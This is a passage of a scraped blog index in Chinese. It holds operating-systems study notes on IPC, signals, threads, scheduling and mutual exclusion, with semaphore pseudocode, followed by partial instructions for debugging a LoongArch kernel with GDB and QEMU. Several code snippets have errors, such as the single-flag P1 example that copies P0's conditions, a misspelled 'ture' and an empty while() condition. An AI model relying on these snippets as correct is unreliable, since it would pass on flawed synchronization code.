划分一个内存层面的全局变量，其可能是固定长度的数组。速度慢，限制多，是一种低级通信方式。 消息传递 进程间的数据交换以格式化的消息 Message 为单位。进程通过操作系统提供的“发送消息/接收消息”原语进行数据交换\n直接通信 在进程的PCB结构体中维护着该进程的消息队列， 如进程A给进程B发送消息：\n进程A使用发送原语send(B,msg)，操作系统将msg从进程A的用户空间复制到内核空间中，进程B的消息队列中 进程B使用接收原语receive(A,\u0026amp;msg)，操作系统遍历进程B的消息队列，寻找到由A发送的消息，将其复制到进程B的用户空间 点名道姓的消息传递。发送方与接收方均明确\n间接通信 以“信箱”作为中间实体进行消息传递，假设内核中存在信箱X：\n进程A使用发送原语send(X, msg)，往信箱X中发送消息 进程B使用接收原语receive(X, \u0026amp;msg)， 从信箱X接受消息 可以多个进程往同一个信箱send，也可以多个进程从同一个信箱中receive\n管道通信 管道是一个特殊的共享文件，又名pipe，其实就是在内存中开辟一个大小固定的内存缓冲区\n管道的消息流动是单向的：进程A只能往里写数据，进程B只能往里读数据。管道中的数据遵循FIFO的队列结构\n其与共享存储通信的区别在于，其写入与读取都有FIFO要求，可以理解为一个循环队列\n管道只能采用半双工通信，即某一时间段内只能实现单向的传输。如果要实现双向同时通信，则需要设置两个管道 各进程要互斥地访问管道（由操作系统实现） 当管道写满时，写进程会被阻塞。直到读进程将管道中的数据取走后，写进程才会被唤醒 当管道读空时，读进程会被阻塞。直到写进程往管道中写入数据，读进程才会被唤醒 管道中的数据一旦被读出就彻底消失。因此，当多个进程读同一个管道时，可能会错乱。对此，通常有两种解决方案：\n允许有多个写进程，多个读进程，但系统会让各个读进程轮流从管道中读数据 (Linux方案) 一个管道运行多个写进程但只允许一个读进程（408真题官方答案） 信号 Signal 注意区分信号signal与信号量semaphore。信号用于实现进程间通信\n信号：用于通知进程某个特定时间已经发生。进程收到一个信号后，对该信号进行处理。\n在Linux中，定义了30种信号类型（符合POSIX标准），其通过宏定义实现，如\n#define SIGHUP 1 #define SIGINT 2 ...... 在笔者的ubuntu 22.02中使用kill -L命令可以查询所有的信号与信号名：\n在进程PCB中，会有两个位向量：待处理信号pending与被阻塞信号blocked，如在某版发行版中定义了30个信号量，则这两个变量会有32位，在对应的bit位向量上使用0/1进行设置\n在Linux中，通常有int kill(pid_t pid, int sig)接口进行信号的发送（最灵活和常用），假设此时进程A与进程B均给进程C发送了信号1，此时进程C的PCB上的pending对应位会置1，并且由于两个信号相同，后到的信号会被简单地丢弃。在进程C的视角中，它并不能分辨这个信号到底是由谁发送的。\nblocked位向量也被称为信号掩码 signal mask，其对应位置一，则进程会阻塞（屏蔽）对应位的信号。这是进程通过系统调用自行设置的。\n用户进程之间可以发送信号，内核进程也可以给用户进程发送信号。但是用户进程之间可以发送的信号是有限制的，如sigkill信号，就不能简单地在用户进程间传递。\n信号的处理 进程从内核态转回用户态时，例行检查是否有待处理信号 pending ，如果有，就处理信号\n操作系统会给每一个信号配备一个默认的处理程序，当进程捕获到信号并开始处理时，就会运行这个信号处理程序，运行完后返回到进程的下一条指令\n对于有的信号量，操作系统并没有配备相应的处理程序，或者可以理解为一个缺省的空函数，操作系统允许进程为信号设置自定义信号处理程序，会覆盖原本的函数\n为了维护系统的安全性和稳定性，某些信号可能不允许或限制用户自定义信号捕捉。 一旦处理了某个信号，就将pending位重新置0 信号与异常的关系 信号可以作为异常的配套机制，让进程对操作系统的异常处理进行补充\n在进程运行过程中，操作系统内核捕获并处理异常。\n有些异常可以由内核完成全部处理（如缺页异常），此时就不需要信号机制 有些异常无法由内核完成全部处理，还需要用户进程配合。如在Linux中发生除0异常时，内核的异常处理程序会向用户进程发送SIGFPE，其默认处理程序会将进程终止并转储内存。 线程的概念与多线程模型 什么是线程 有的进程可能需要“同时”做很多事，而传统的进程只能串行地执行一系列程序。为此引入了“线程“来增加并发度。\n在过去，进程是程序执行流的最小单位。引入线程后，线程成为一个基本的CPU执行单元，也是程序执行流的最小单位。可以把线程理解为轻量级进程。\n引入线程后，进程只作为除CPU外的系统资源的分配单元。并且传统的进程间并发需要频繁切换到内核态，保存进程运行环境，系统开销大。而线程间并发则不需要切换进程环境，可以减少系统开销。\n多CPU计算机中，各个进程可占用不同的CPU 每个线程都有一个线程控制块 TCB 线程也有就绪 阻塞 运行 三种基本状态 线程几乎不拥有系统资源 同一进程的不同线程间共享进程的资源 由于共享地址空间，线程间通信甚至无需系统干预 同一进程中的线程切换不会引起进程切换 线程的实现 用户级线程 存在于早期的操作系统，只支持进程，不支持线程。此时的线程是由线程库实现的。在操作系统的视角下，依然只有进程。线程库可以实现创建、销毁、调度等功能\n优点：用户级线程的切换在用户空间即可完成，不需要切换核心态，线程管理的系统开销小，效率高。\n缺点： 当一个用户级线程被阻塞后，整个进程都会被阻塞，并发度不高。多个线程不可在多核计算机上并行\n系统级线程 大多数现代操作系统都实现了内核级线程，此时由系统进行线程的管理（建立相应的TCB），进行线程切换需要CPU变态。线程是暴露给操作系统的。\n优点：当一个线程被阻塞后，别的线程还可以继续执行，并发能力强。多线程可在多核计算机上并行\n缺点：一个用户进程会占用多个内核级线程（多对多模型），且线程切换需要变态，开销大（相对于用户级线程来说，当然对比进程间切换，由于不用保存上下文，开销肯定是更小的）\n在多对一模型中，其可以看作退化为了用户级线程，一个用户进程只占用一个内核级线程，多个用户级线程对应一个内核级线程，操作系统只看得见该内核级线程，此时该内核级线程是资源分配的基本单位\n线程的状态与转换 与进程基本一致\n进程调度 \u0026amp; 实时调度 关于这部分内容，在《操作系统导论》一书中以慢慢增加约束、减少已知量的形式针对问题引出新的算法，可以一睹\n涉及策略多，涉及机制少——各种调度算法\n为什么需要调度：\n资源竞争：任务很多、资源有限。需要有一种机制对资源进行分配 执行顺序影响性能：对于同一批任务，不同的执行顺序会影响最终性能 调度（此处）即对于有限的计算资源，决定任务的准入（内存）和执行顺序\n什么是长/中/短程调度 调度的时机决定了调度的类型\n调度算法决定了调度的依据和目标\n决定哪些任务可以被准入内存（成为进程） 长程调度 Long-term scheduling\n决定哪些任务可以被准入内存。也被称为job scheduling / admission scheduling\n在分时系统中，接收所有用户授权的任务直到饱和\n通过调整准入策略可以控制并发度——准入进程越多，并发度越高，每个进程占用的平均计算资源越低\n调度哪些进程可以被执行 中程调度 Medium-term scheduling：调度哪些进程可以被执行。 将因为IO或锁被阻塞或挂起的进程换出到磁盘 或从磁盘中换回来——是进程交换功能 swapping 的一部分\n短程调度 Short-term scheduling：调度哪些进程可以被执行分发时间片 也被称为分发器\n将cpu分发给进程 执行最频繁 由中断触发 IO调度：决定哪个进程可以使用特定IO设备 调度算法的指标和特性 决策模式\n抢占式 Preemptive 一个进程可以在另一个进程未执行完成的时候被调度 （maybe以分时为基础） 非抢占式 Non-preemptive 一个进程只有在当前进程执行完后才能执行 可以运行在批处理，也可以运行在分时 某些非抢占式调度在当前运行进程等待资源时也可以进行调度\n对于单个任务/进程的指标\n周转时间：从任务提交到任务最终完成的时间。显然，要满足周转时间优先，即消耗越少越先执行 响应时间：从任务提交到任务开始响应的时间。显然，要满足响应时间，即先到先服务 对于一批任务的指标\n吞吐：单位时间内完成的任务数量 时限： 硬时限 hard deadline 任务必须在此之前完成，否则任务失败。一般以按时完成任务的比例为定量指标：时限内完成任务数/总任务数 软实现 soft deadline 任务尽量在此之前完成。一般以超时的惩罚作为定量指标。 对于系统：\n资源利用率：CPU或IO设备的资源利用率一般用单位时间内处于工作状态的时间比例作为指标 公平性：要求调度算法不能偏向于特定的用户/任务/进程\n处理器调度中的公平性主要体现在避免引入进程饥饿——某一进程永远无法被调度\n其他的公平性原则：\n比例公平 资源按比例分配，每个任务分配的资源和其权重成正比 最大最小公平，系统中分配资源最少的任务的资源尽可能多。平均化 主导资源公平，系统对主导资源（即竞争最激烈的资源）进行公平分配 调度算法 优先级调度 Priority scheduling 不是一个算法而是一类基于优先级的算法\n基础假设：不同任务对用户需求和系统性能要求不一样，因此天然存在优先级\n先入先出队列的优先级调度 系统维护多个优先级队列，每个处于ready的进程放入对应的FIFO队列中\n系统从优先级最高的非空队列中选择队首元素进行调度\n既可以是抢占式，又可以是非抢占式 实现了带权的周转时间/响应时间优化 缺点显而易见，优先级高的进程可以一直占用CPU；优先级不高的进程完全可能饿死 没有对吞吐和时限进行优化 公平性解决方案：老化机制 优先级调度中可以通过老化 Aging 机制避免饥饿\n等待时间过长可以相应提高其优先级\n不同提高优先级方式：\n提高一级 提高到最高级 根据累积使用情况进行提升 根据衰减使用量进行提升 相同优先级进程调度算法 上述介绍的基于先入先出队列的优先级调度有以下特点\n不同优先级间的进程通过不同队列进行调度 相同优先级的进程间，通过先入先出进行调度 However，也存在相同优先级间通过其他策略进行调度的算法\n非抢占式\n先到先服务 FCFS SPN 以上两种的折中——最高响应比优先 HRRN 抢占式\n轮转法 最小剩余时间优先 SRT 多级反馈队列 Firts come first serve 先到先服务 FCFS 本质上就是按照进入队列顺序分配CPU，就是先入先出队列的优先级调度。由于是非抢占，所以会让每个进程执行完再进行下一次调度\n短作业优先 SPN 非抢占式 通常可以优化平均周转与吞吐（若预测准确可达到理论最优） 偏向短进程，长进程可能饥饿——公平性不足 需要知道每个进程预计消耗的时间——该信息在实际中是不存在的.实际中我们需要对该信息有一些先验知识\nSPN通常用于调度一些周期性的任务，根据过去预测未来。通过指数加权平均法，对下一次执行时间进行预测，该算法的优势在于对已知信息要求较少\n针对预测不准确的情况，需要进行及时的终止以保证性能\n最高响应比优先 HRRN 在SPN的基础上增加避免饥饿的策略：如果一个进程等待时间足够长，那么提高其优先级\n响应比：R=w+ttR = \\frac{w+t}{t}\nR 响应比 w 等待时间 t 预测需要运行时间 每次唤醒调度器时，都会针对每个剩余进程计算其响应比，并选择响应比最高的进程进行调度\n通过响应比可以达到：\n短进程可以优先执行 长进程等待足够长后可以执行 其平均周转与吞吐位于SPN与FCFS之间 轮转法 RR——响应优先 是FCFS的抢占式版本\n轮转法主要目标是降低响应时间而非周转时间\n为进程分配等长时间片\n依然有一个队列，每次调度从队首取进程，为其分配一个时间片，运行完后进行下一次调度，同时刚刚执行完一个时间片的进程进入队尾/执行完毕\n可以理解的是，当一个新任务进入队列，其得到响应之前的等待时间必不会超过该队列长度\nwaiting time显著下降，然而周转时间有上升 不同时间片大小取值会对调度性能造成影响，时间片增大则waiting time上升，周转时间减小。当时间片大小-\u0026gt;无穷时，易知此时为非抢占式，变成了FCFS 时间分片过小，会导致频繁上下文切换，提高消耗 时间分片过大，调度偏向于长进程，短进程的响应时间过大 最小剩余时间优先 SRT 是SPN的抢占式版本\n每个时间片结束后唤醒调度器，调度器选择已有进程中剩余时间最小的进程进行调度\n类似SPN，其周转时间显著优化，响应时间则较高 偏向短进程，会导致长进程饥饿 多级反馈队列 MLFQ MLFQ也有许多不同实现方式，主要介绍教材中\n实际调度中不具备先验知识，于是采用反馈机制进行调度。\n反馈预测方法：进程运行结束或因IO释放CPU，这种短进程或IO受限进程更不容易用完整个时间片；而长进程或CPU受限进程更有可能用完完整时间片。根据观察对进程进行优先级调整。\n维护多个优先级队列 初始，进程放入最高级队列 在一个时间片结束后，根据进程行为调整优先级： 分片结束前主动释放CPU——提高其优先级 分片结束，被迫释放CPU——降低其优先级 MLFQ偏向短进程。而长进程连续降级可能面临饥饿。如何在MLFQ中避免饥饿？\n避免快速降级\n采用幂长时间片：第i级队列分到的时间片长度为2^i 对进程统一升级\n每隔一段时间，将所有进程优先级都拉到最高 抢占式\n通过反馈机制学习进程行为特征，无需先验知识\n是实际操作系统中用得比较多的一种调度算法\n实时调度 许多系统要求任务可以实时响应，与PC系统不同，如许多工控、军工、航空天等领域的计算系统\n特点：\n时限敏感。无法在deadline完成可能导致严重后果 存在许多周期性任务：相似的任务重复出现 实际中的时限：\n开始/启动时限 任务开始执行的时限 完成/结束时限 任务执行完成的时限 优先级：有些任务必须在另一些任务之前完成\n层次级：有一些任务必须全部完成\n假设约束条件\n每个进程有一个确定的最坏情况运行时间 只需考虑开始时限 只考虑单个CPU的情况 进程间没有先后顺序和层次化约束 基于以上假设，可以有两个基本算法\n最早实现优先 EDF 基本思路：选择开始时限最早的进程进行调度\n简单且能满足调度最优，都能满足deadline\n明天要交的作业今天先做。后天才交的作业可以拖到明天做\n在缺少先验知识的情况下可能无法保证某些任务的deadline 有先验知识下，EDF可以进一步优化 速率单调调度 RM 针对周期性硬时限任务进行调度\n基本思路：执行越频繁的任务优先级越高。每轮调度选择优先级最高的进行执行\n速率单调算法：p=1Tp = \\frac{1}{T}\n优先级是周期时间的倒数——可以看出优先级就是进程频率\n每个任务的执行时间是固定的 每个任务的deadline是下一个任务的arrive time 从宏观上看，即将每个任务按照其出现频率占总频率的比例，分布到了总时间线上的各处，十分平均且对称\n同步互斥 什么是同步 进程具有异步性的特征，各个并发执行的进程以独立的、不可预知的速度向前推进\n进程同步就是使得进程间的某些推进次序是可控和可预知的\n同步亦称直接制约关系，它是指为了完成某种任务而建立的两个或多个进程，这些进程因为需要在某些位置上协调它们的工作次序而产生的制约关系。进程间的直接制约关系就是源于它们的相互合作。\n如在进程通过管道通信的例子中，读进程和写进程并发运行，由于并发导致异步性，因此“读”和“写”的先后顺序是不确定的，然而在实际应用中，必须按照“先写后读”的顺序来执行。如何解决这种异步问题，就是“同步”所讨论的内容\n什么是互斥 因为进程的“并发”需要“共享”的支持。各个并发的进程不可避免需要共享一些系统资源，有些系统资源一段时间内只允许一个进程访问，这种资源被称为临界资源。对临界资源的访问必须互斥地进行。\n互斥也被称为间接制约关系。进程互斥是指当一个进程访问临界资源时，另一个想要访问该临界资源的进程必须等待。只有等当前进程访问资源结束，释放该资源之后，另一个进程才能去访问临界资源。\n对临界资源的互斥访问可以从逻辑上分为以下四个部分：\ndo { entry section; //进入区 critical section; //临界区 exit section; //退出区 remainder section; //剩余区 } while(true) 进入区负责检查是否可进入临界区，若可进入，则上锁，以阻止其他进程同时进入临界区 临界区，访问临界资源的代码 退出区负责解锁 剩余区：做其他处理 进入区和退出区是负责实现互斥的代码段。\n为了实现互斥，同时保证系统整体性能，需要遵循以下原则：\n空闲让进。临界区空闲时，可以允许一个请求进入临界区的进程立即进入临界区 忙则等待。当已有进程进入临界区时，其他试图进入临界区的进程必须等待 有限等待。对正在等待的进程，保证其能在有限时间内进入临界区（避免饥饿） 让权等待。对于正在等待且占有cpu的进程，其应当立即释放cpu，避免忙等待 进程互斥的软件实现 单标志法 算法思想：两个进程在访问完临界区后，会把使用权转交给另一个进程。也就是说每个进程进入临界区的权限只能被另一个进程赋予\nint turn = 0; //turn 表示当前允许进入临界区的进程PID -------------------------------- //P0进程 while(turn != 0); //在进入区判断自己是否能够进入临界区 critical section; turn = 1; //退出区 remainder section; -------------------------------- //P1进程 while(turn != 0); critical section; turn = 1; remainder section; 显然该算法无法做到“让权等待”，其会一直循环等待并占用cpu\n而且这是一种“轮流访问”，P0 -\u0026gt; P1 -\u0026gt; P0 \u0026hellip;\u0026hellip; 会带来一个问题：如果此时进入临界区的进程是P0，但P0一直不访问临界区，那么此时虽然临界区空闲，但并不允许P1访问，也就无法做到“空闲让进”\n双标志先检查 算法思想：设置一个布尔型数组 flag[] ，数组中各个元素用来标记各进程想进入临界区的意愿，比如flag[0]=1表示P0现在想要进入临界区。每个进程在进入临界区前先检查当前有没有别的进程想进入临界区，如果没有，则把自身对应的标志flag[i]=1，之后开始访问临界区\nbool flag[2]; flag[0] = false; flag[1] = false; //刚开始设置为两个进程都不想进入临界区 ------------------ //P0进程 while (flag[1]); flag[0] = true; critical section; flag[0] = false; remainder section; ------------------ //P1进程 while (flag[0]); //如果此时P0想要进入临界区，P1就一直循环等待 flag[1] = true; //标记为P1想要进入临界区 critical section; //访问临界区 flag[1] = false; //退出区，修改标记为P1不想使用临界区 remainder section; 该算法的问题在于，while (flag)与flag[i] = true的执行并非原子性的，当执行完while检查时，此时可能发生中断并切换到另一进程执行，理论上无法做到“互斥”，即“忙则等待”\n双标志后检查 算法思想：双标志先检查法的改版。通过先“上锁”后“检查”从而避免无法互斥\nbool flag[2]; flag[0] = false; flag[1] = false; //刚开始设置为两个进程都不想进入临界区 ------------------ //P0进程 flag[0] = true; while (flag[1]); critical section; flag[0] = false; remainder section; ------------------ //P1进程 flag[1] = true; //标记为P1想要进入临界区 while (flag[0]); //如果此时P0想要进入临界区，P1就一直循环等待 critical section; //访问临界区 flag[1] = false; //退出区，修改标记为P1不想使用临界区 remainder section; 此时的主要问题也在于flag[i] = true;while(flag)的操作并不原子，可能存在P0进程上锁后，切换到P1进程，P1进程也上锁，此时就处于一个两边都无法执行临界区，从而双双饿死的情况。\nPeterson算法 算法思想：结合双标志法、单标志法的思想。如果双方都争着想进入临界区，那可以让进程尝试谦让。\nbool flag[2]; //标识进入临界区意愿的数组，初始都是false int turn = 0; //turn 表示优先让哪个进程进入临界区 ----------------------------- //P0进程 flag[0] = ture; turn = 1; while (flag[1] \u0026amp;\u0026amp; turn==1); critical section; flag[0] = false; remainder section; ----------------------------- //P1进程 flag[1] = ture; //表示自己想进入临界区 turn = 0; //可以优先让对方进入临界区 while (flag[0] \u0026amp;\u0026amp; turn==0); //对方想进，且上一次是自己让出，那就循环等待 critical section; flag[1] = false; //表示自己不想访问临界区了 remainder section; Peterson算法在软件层面上解决了进程互斥问题。能够符合“空闲让进” “忙则等待” “有限等待”三个原则，但依然无法实现“让权等待”\n进程互斥的硬件实现 中断屏蔽 利用\u0026quot;开/关中断\u0026quot;指令实现，即在某进程开始访问临界区到结束访问为止都不允许被中断，也就不能发生进程切换，以此实现互斥。\n优点：实现简单高效，逻辑清晰 缺点：不适用于多处理器；只能用于kernel进程，不适用于用户进程（显然如果能够让用户进程使用这样的指令会相当危险）\nTestAndSet (TS指令/TSL指令) TSL指令使用硬件实现，执行的过程是原子的。我们可以用C描述：\n//布尔型共享变量lock表示当前临界区是否被上锁 //true 表示已上锁; false 表示未上锁 bool TestAndSet(bool *lock){ bool old; old = *lock; //old用来存放lock原来的值 *lock = true; //无论之前是否已上锁，都再做一次上锁操作 return old; //返回lock原来的值 } while (TestAndSet(\u0026amp;lock)); //上锁并检查 critical section; lock = false; //解锁 remainder section; 优点：实现简单，没有逻辑漏洞，适用于多处理器环境 缺点：无法“让权等待”，暂时无法进入临界区的进程会占用CPU并循环执行TSL。\nSwap指令(xchg指令) 同样使用硬件实现，原子：\n//swap指令的作用是交换两个变量的值 void swap(bool *a, bool *b){ bool temp; temp = *a; *a = *b; *b = temp; } bool old = true; while(old == true){ swap(\u0026amp;lock, \u0026amp;old); } critical section; lock = false; remainder section; 优缺点与TSL指令一样\n锁 解决临界区最简单的工具就是互斥锁 mutex lock。一个进程在进入临界区时应获得锁；在退出临界区时释放锁。函数acquire()获得锁，而函数release()释放锁。\n每个互斥锁有一个布尔变量available，表示锁是否可用。如果锁是可用的，调用acquire()会成功，且锁不再可用。当一个进程试图获取不可用的锁时，会被阻塞，直到锁被释放。\nacquire(){ while(!avalilable); //忙等待 avalilable = false; //获得锁 } release(){ avalilable = true; //释放锁 } acquire()或release()必须是原子操作，因此互斥锁通常使用硬件机制实现。\n其主要缺点为忙等待，但适用于多处理器系统。\n需要连续循环忙等待的互斥锁，都可称为自旋锁 spin lock，如TSL、xchg、单标志法\n特性：\n需要忙等待，进程时间片用完才下CPU，违反“让权等待” 优点：等待期间不用切换进程上下文，多处理器系统中，若上锁的时间短，则等待代价很低 常用于多处理器系统，一个核忙等，其他核照常工作，并快速释放临界区 不太适用于单处理器系统，忙等的过程中不可能解锁 `` 信号量机制 用户进程可以通过使用操作系统提供的一对原语来对信号量进行操作，从而很方便地实现进程互斥、进程同步\n信号量——用一个变量来标识系统中某种资源的数量\n一对原语：wait(S)原语和signal(S)原语，也可以简称为P/V操作（荷兰语proberen\u0026amp;verhogen）。\n整型信号量 用一个整数型变量作为信号量，用来表示资源数量。然而与普通整型变量对比，信号量操作只有三种：初始化、P/V操作\nint S = 1; //可用资源数 void wait(int S){ //wait原语 while(S \u0026lt;= 0); //如果资源数不够，就一直循环等待 S=S-1; //如果资源数够，就占用一个资源 } void signal(int S){ //signal原语 S=S+1; //使用完资源后，释放资源 } 整体逻辑很类似于“双标志先检查法”，但是“检查”和“上锁”成为原语，因此能够实现互斥，但依然不满足“让权等待”。\n记录型信号量 typedef struct { int value; //剩余资源数 struct process *L; //等待队列 } semaphore; //进程需要使用资源时，用wait原语申请 void wait(semaphore S){ S.value--; if (S.value \u0026lt; 0){ block(S.L); //如果剩余资源数不够，使用block原语使进程进入阻塞态，挂入等待队列 } } //进程使用完资源后 使用signal原语 void signal(semaphore S){ S.value++; if (S.value \u0026lt;= 0){ wakeup(S.L); //说明等待队列中还有其他进程，唤醒之 } } 由于引入了对进程的阻塞和唤醒，即结合了进程调度，于是能够解决“让权等待”\n用信号量实现进程互斥、同步、前驱关系 实现互斥是在同一进程中进行一对PV操作 实现两进程的同步是在其中一个进程中执行V，另一个进程中执行P 实现进程互斥 分析并发进程的关键活动，划定临界区 设置互斥信号量mutex，其初值为1 在进入区wait(mutex)，在退出区signal(mutex) 实现进程同步 进程同步：让各并发进程按要求有序地推进\nsemaphore S = 0; //假设P2的代码4依赖于P1的代码1、2 P1(){ 1; 2; signal(S); 3; } P2(){ wait(S); 4; 5; 6; } 理解：信号量S代表某种资源，而刚开始是没有这种资源的（对应S=0），P2需要该资源，而该资源能够由P1产生。\n分析在什么地方实现同步关系，即“一前一后”的两个操作 设置同步信号量S，初值为0 在“前操作”之后执行signal(S)，产生资源 在“后操作”之前执行wait(S)，消耗资源 实现进程的前驱关系 对于复杂的前驱图，利用信号量机制实现复杂的依赖关系\n为每一对前驱关系各设置一个同步信号量 在“前操作”之后产生资源 在“后操作”之前消耗资源 假设有如下前驱图：\nsemophore a,b,c,d,e,f,g = 0; P1(){ S1; signal(a); signal(b); } P2(){ wait(a); S2; signal(c); signal(d); } P3(){ wait(b); S3; signal(g); } P4(){ wait(c); S4; signal(e); } P5(){ wait(d); S5; signal(f); } P6(){ wait(f); wait(e); wait(g); S6; } 生产者-消费者问题 问题描述：系统中有一组生产者进程和一组消费者进程，生产者每次生产一个产品放入缓冲区，消费者进程每次从缓冲区取出一个产品并使用。生产者、消费者共享一个初始为空、大小为n的缓冲区。\n只有缓冲区未满时，生产者才能把产品放入缓冲区，否则必须等待。有一对同步关系，因此设置信号量empty 只有缓冲区不空时，消费者才能从中取出产品，否则必须等待。有一对同步关系，因此设置信号量full 缓冲区是临界资源，各进程必须互斥地访问。有一对互斥关系，因此设置信号量mutex semaphore mutex = 1; //互斥信号量，实现对缓冲区的互斥访问 semaphore empty = n; //同步信号量，表示空闲缓冲区的数量 semaphore full = 0; //同步信号量，表示产品的数量，也即非空缓冲区的数量 producer(){ while(1){ 生产1个产品; wait(empty); wait(mutex); 把产品放入缓冲区; signal(mutex); signal(full) } } consumer(){ while(1){ wait(full); wait(mutex); 从缓冲区取出一个产品; signal(mutex); signal(empty); 使用产品; } } 为了避免死锁，实现互斥的P操作一定要在实现同步的P操作之后。 V操作不会导致进程阻塞，因此两个V操作顺序可以交换。\n多生产者、多消费者问题 指多类生产者和多类消费者共用同一缓冲区的问题\n互斥关系：对缓冲区的访问需要互斥进行\n同步关系：一类生产者和消费者间存在一对前后的同步关系、只有缓冲区为空时生产者才能放入，只有缓冲区不为空时消费者才能消费\nsemaphore mutex = 1; //互斥信号量，实现对缓冲区的互斥访问 semaphore buffer = 1; //同步信号量，表示缓冲区空闲位置 semaphore source1 = 0; semaphore source2 = 0; //同步信号量，表示缓冲区中对应资源数量 producer1(){ while(1){ 生产一个source1; wait(buffer); wait(mutex); 放入一个source1; signal(mutex); signal(source1); } } producer2(){ while(1){ 生产一个source2 wait(buffer); wait(mutex); 放入一个source2; signal(mutex); signal(source2); } } consumer1(){ while(1){ wait(source1); wait(mutex); 取出一个source1; signal(mutex); signal(buffer); } } consumer2(){ while(1){ wait(source2); wait(mutex); 取出一个source2; signal(mutex); signal(buffer); } } 读者-写者问题 在内存中有读者和写者两组并发进程，共享一个文件，当两个或两个以上的读进程同时访问共享数据时不会产生副作用，但若某个写进程和其他进程同时访问共享数据则可能导致数据不一致，因此要求：\n允许多个读进程同时进行读 只允许一个写进程进行写 任一写进程完成操作前不允许其他读/写进程操作 写进程执行写前，应确保其他读/写完全退出 互斥关系：写进程-写进程、写进程-读进程、读进程与读进程之间不存在互斥关系\n同步关系：不存在先后顺序关系\n在该问题下，由于读进程与读进程之间不存在互斥关系，但是读进程与写进程之间存在互斥关系，所以由第一个进行读的进程进行加锁，当有一个读进程正在操作，就可以允许多个读进程加入进来。实现该目的需要设置一个rcount读者计数器，同时需要保证对rcount的访问也是互斥的，所以再引入一个mutex进行变量保护：\nint rcount = 0; //对读进程进行计数 semaphore mutex = 1; //共享变量互斥 semaphore rw = 1; //读写互斥 read(){ while(1){ wait(mutex); if(rcount==0){ //如果是第一个读进程 wait(rw); //负责给rw上锁 } rcount++; //无论是不是第一个，都要表明读进程+1 signal(mutex); 读操作; wait(mutex); if(rcount==1){//如果是最后一个读进程 signal(rw);//负责收尾 } rcount--; signal(mutex); } } write(){ while(1){ wait(rw); 写操作; signal(rw); } } 不难发现，在该实现情况下，如果一直有读进程加入，就会导致写进程饿死。可以视为该算法是“读进程优先”。\n为了防止写进程饿死，可以增加一个信号量“写进程意愿“，但注意并非真正的”写进程优先“：\nint rcount = 0; //对读进程进行计数 semaphore mutex = 1; //共享变量互斥 semaphore rw = 1; //读写互斥 semaphore w_req = 1; //写进程意愿 read(){ while(){ wait(w_req); //当存在写进程有意愿时，新的读进程会被阻塞进入 signal(w_req); //仅仅是为了阻塞新的读进程进入 wait(mutex); if(rcount==0){ //如果是第一个读进程 wait(rw); //负责给rw上锁 } rcount++; //无论是不是第一个，都要表明读进程+1 signal(mutex); 读操作; wait(mutex); if(rcount==1){//如果是最后一个读进程 signal(rw);//负责收尾 } rcount--; signal(mutex); } } write(){ while(){ wait(w_req); //表示自己有意愿 wait(rw); 写操作; signal(rw); signal(w_req); } } 哲学家进餐问题 管程 信号量机制存在的问题：编写程序困难，易出错。\n管程——一种更高级同步机制，较信号量机制更加简单易用（面向程序员）。管程是一种特殊的软件模块，其组成如下：\n局部于管程的共享数据结构说明 对该数据结构进行操作的一组过程 对局部于管程的共享数据设置初始值的语句 管程有一个名字 管程的定义类似于”类“。\n管程的基本特征：\n局部于管程的数据只能被局部于管程的过程访问 一个进程只有通过调用管程内的过程才能进入管程访问数据 每次仅允许一个进程在管程内执行某个内部过程——实现互斥的关键 在语法中直接对管程进行定义，编译器会在底层上进行同步互斥的实现。\n死锁 死锁的概念 预防死锁 避免死锁 检测和消除死锁 ","date":"2025-04-30","draft":false,"permalink":"/posts/ch2-%E8%BF%9B%E7%A8%8B-%E8%B0%83%E5%BA%A6%E4%B8%8E%E9%94%81/","section":"操作系统","summary":"进程 Process 进程的概念 程序是静态的，是存放在硬盘中的可执行文件，是数据与指令的集合，是一个副本 进程是动态的，是程序的一次执行过程，是一个实例 同一个程序可以建立多个不同的进程，就像docker中镜…","tags":[],"title":"CH2 进程、调度与锁"},{"content":"打开kernel调试选项 在loos-lab-2025目录下运行命令\nmake menuconfig 进入kernel编译菜单，Enable Debugging Output，然后保存退出\n进入下一步\nGDB 不能使用原生GDB，也不能使用gdb-multiarch，其并不支持LoongArch\n只能使用Loongsonlab官方提供的工具链中的gdb\n运行如下命令：\ngit clone https://github.com/LoongsonLab/oscomp-toolchains-for-oskernel.git cd oscomp-toolchains-for-oskernel/loongarch64-linux-gnu-gdb/bin ./loongarch64-linux-gnu-gdb \u0026lt;path/to/kernel\u0026gt; 其中，\u0026lt;path/to/kernel\u0026gt;在我这里是~/loOS/loos-lab-2025/kernel，即编译好的ELF 64-bit LSB executable, LoongArch文件\n如果打开gdb后出现的提示信息中有如下信息：\nThis GDB was configured as \u0026#34;--host=x86_64-pc-linux-gnu --target=loongarch64-linux-gnu\u0026#34; ...... Reading symbols from /home/nokk/loOS/loos-lab-2025/kernel... 证明gdb目标架构正确且成功读取符号信息\n此时GDB已经开始运行，进入下一步\n此时，另一边\u0026hellip; 此时打开另一个shell，进入loos-lab-2025目录，运行make lorunqemugdb，如果不出意外，会停止在如下位置：\n~/l/loos-lab-2025 ❯❯❯ make lorunqemugdb file /home/nokk/loOS/loos-lab-2025/toolchain/loongarch/rootfs.img.gz already exists. file /home/nokk/loOS/loos-lab-2025/toolchain/loongarch/gcc-13.2.0-loongarch64-linux-gnu-nw.tgz already exists. file /home/nokk/loOS/loos-lab-2025/toolchain/loongarch/qemu-2k1000-static.20240526.tar.xz already exists. all file have downloaded! make[2]: Nothing to be done for \u0026#39;__all\u0026#39;. make[2]: Nothing to be done for \u0026#39;__all\u0026#39;. make[2]: Nothing to be done for \u0026#39;__all\u0026#39;. make[3]: Nothing to be done for \u0026#39;__all\u0026#39;. make[3]: Nothing to be done for \u0026#39;__all\u0026#39;. make[2]: Nothing to be done for \u0026#39;__all\u0026#39;. make[3]: Nothing to be done for \u0026#39;__all\u0026#39;. cp /home/nokk/loOS/loos-lab-2025/build_loongarch/bootdev.img /home/nokk/loOS/loos-lab-2025/toolchain/loongarch/qemu/2k1000/boot.img cp -rfuT /home/nokk/loOS/loos-lab-2025/toolchain/loongarch/qemu /tmp/qemu # -e /home/nokk/loOS/loos-lab-2025/toolchain/loongarch/gcc-13.2.0-loongarch64-linux-gnu-nw/bin/loongarch64-linux-gnu-gdb -ex \u0026#34;target remote 0.0.0.0:3456\u0026#34; /home/nokk/loOS/loos-lab-2025/kernel 2\u0026gt;\u0026amp;1 1\u0026gt; /dev/null \u0026amp; cd /home/nokk/loOS/loos-lab-2025/toolchain/loongarch/qemu; ./runqemu-debug WARNING: Image format was not specified for 